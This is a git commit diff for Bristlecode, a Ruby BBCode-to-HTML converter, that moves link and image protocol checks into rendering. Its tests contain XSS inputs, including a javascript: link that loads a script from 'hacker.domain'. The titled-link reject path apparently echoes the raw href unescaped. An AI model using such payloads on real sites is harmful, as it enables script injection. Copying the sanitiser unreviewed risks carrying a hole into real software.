check urls in transform, not parse

also, for tags that are rejected, return the original bbcode instead of
throwing up all over the place
master
Jordan Orelli 9 years ago
parent f6e1a61366
commit 219b2f13c8

@ -62,16 +62,8 @@ module Bristlecode
rule(:img_open) { str('[img]') } rule(:img_open) { str('[img]') }
rule(:img_close) { str('[/img]') } rule(:img_close) { str('[/img]') }
rule(:img) { rule(:img_src) { (img_close.absent? >> any).repeat(1) }
( rule(:img) { (img_open >> img_src.as(:src) >> img_close).as(:img) }
img_open >>
(
(str('http://') | str('https://')) >>
(img_close.absent? >> any).repeat(1)
).as(:src) >>
img_close
).as(:img)
}
rule(:eof) { any.absent? } rule(:eof) { any.absent? }
rule(:tag) { bold | italic | url | linebreak | img } rule(:tag) { bold | italic | url | linebreak | img }
@ -148,26 +140,37 @@ module Bristlecode
end end
class Url class Url
attr_accessor :href, :title attr_accessor :href, :title, :bad_href, :title_supplied
def initialize(args) def initialize(args)
self.href = args[:href].to_str.strip self.href = args[:href].to_str.strip
check_href
if args.has_key? :title if args.has_key? :title
self.title_supplied = true
self.title = Doc.new(args[:title]) self.title = Doc.new(args[:title])
else else
self.title = Text.new(href) self.title_supplied = false
self.title = Text.new(self.href)
end end
end end
def check_href def href_ok?
unless href =~ /^(\/[^\/]|https?:\/\/)/ href =~ /^https?:/
raise "href must start with /, http, or https"
end
end end
def to_html def to_html
"<a href=\"#{href}\">#{title.to_html}</a>" if href_ok?
"<a href=\"#{href}\">#{title.to_html}</a>"
else
reject
end
end
def reject
if title_supplied
"[url=#{href}]#{title.to_html}[/url]"
else
Text.new("[url]#{href}[/url]").to_html
end
end end
end end
@ -184,8 +187,16 @@ module Bristlecode
self.src = img[:src].to_str self.src = img[:src].to_str
end end
def src_ok?
src =~ /^(\/[^\/]|https?:\/\/)/
end
def to_html def to_html
"<img src=\"#{src}\">" if src_ok?
"<img src=\"#{src}\">"
else
Text.new("[img]#{src}[/img]").to_html
end
end end
end end
end end

@ -75,12 +75,12 @@ module Bristlecode
expect(to_html(input)).to eq(output) expect(to_html(input)).to eq(output)
end end
it 'rejects bad url protocols' do it 'ignores url tags with bad protocols' do
input = '[url=javascript:alert(1)]google.com[/url]' input = '[url=javascript:alert(1)]google.com[/url]'
expect { to_html(input) }.to raise_error expect(to_html(input)).to eq(input)
input = '[url=ftp://something.com/filez]google.com[/url]' input = '[url=ftp://something.com/filez]google.com[/url]'
expect { to_html(input) }.to raise_error expect(to_html(input)).to eq(input)
end end
it 'allows subtrees in <a> tags' do it 'allows subtrees in <a> tags' do
@ -91,20 +91,28 @@ module Bristlecode
it 'rejects bad url protocols' do it 'rejects bad url protocols' do
input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]" input = "[url=javascript:t=document.createElement('script');t.src='//hacker.domain/script.js';document.body.appendChild(t);//]test[/url]"
expect { to_html(input) }.to raise_error expect(to_html(input)).to eq(input)
input = "[url=ftp://whatever.com/etc]warez[/url]" input = "[url=ftp://whatever.com/etc]warez[/url]"
expect { to_html(input) }.to raise_error expect(to_html(input)).to eq(input)
end end
it 'renders a linebreak' do it 'renders a linebreak' do
expect(to_html('[br]')).to eq('<br>') expect(to_html('[br]')).to eq('<br>')
end end
it 'handles images' do it 'renders an image' do
input = '[img]http://example.com/cat.gif[/img]' input = '[img]http://example.com/cat.gif[/img]'
expect(to_html(input)).to eq('<img src="http://example.com/cat.gif">') expect(to_html(input)).to eq('<img src="http://example.com/cat.gif">')
end end
it 'ignores bad image src protocols' do
input = '[img]javascript:alert(1)[/img]'
expect(to_html(input)).to eq(input)
input = '[img]ftp://example.com/cat.gif[/img]'
expect(to_html(input)).to eq(input)
end
end end
describe Parser do describe Parser do
@ -224,11 +232,6 @@ module Bristlecode
expect(parser.img).to parse('[img]http://example.com/something.gif[/img]') expect(parser.img).to parse('[img]http://example.com/something.gif[/img]')
expect(parser.img).to parse('[img]https://example.com/something.gif[/img]') expect(parser.img).to parse('[img]https://example.com/something.gif[/img]')
end end
it 'rejects bad protocols' do
expect(parser.img).not_to parse('[img]ftp://example.com/something.gif[/img]')
expect(parser.img).not_to parse('[img]javascript:alert(1);[/img]')
end
end end
end end
end end

Loading…
Cancel
Save